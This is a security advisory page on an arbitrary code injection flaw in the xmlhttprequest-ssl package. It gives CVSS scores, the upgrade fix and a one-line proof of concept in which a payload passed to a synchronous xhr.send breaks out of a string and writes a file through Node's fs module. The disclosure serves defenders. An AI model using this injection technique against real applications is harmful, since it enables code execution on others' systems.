Arbitrary Code Injection Affecting org.webjars.npm:xmlhttprequest-ssl package, versions [,2.0.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    3.03% (92nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-1082937
  • published 5 Mar 2021
  • disclosed 5 Mar 2021
  • credit rinsuki

How to fix?

Upgrade org.webjars.npm:xmlhttprequest-ssl to version 2.0.0 or higher.

Overview

org.webjars.npm:xmlhttprequest-ssl is a fork of xmlhttprequest.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest() xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */) xhr.send("\');require("fs").writeFileSync("/tmp/aaaaa.txt", "poc-20210306");req.end();//")

CVSS Scores

version 3.1
Expand this section

Snyk

8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.1 high
Expand this section

Red Hat

8.1 high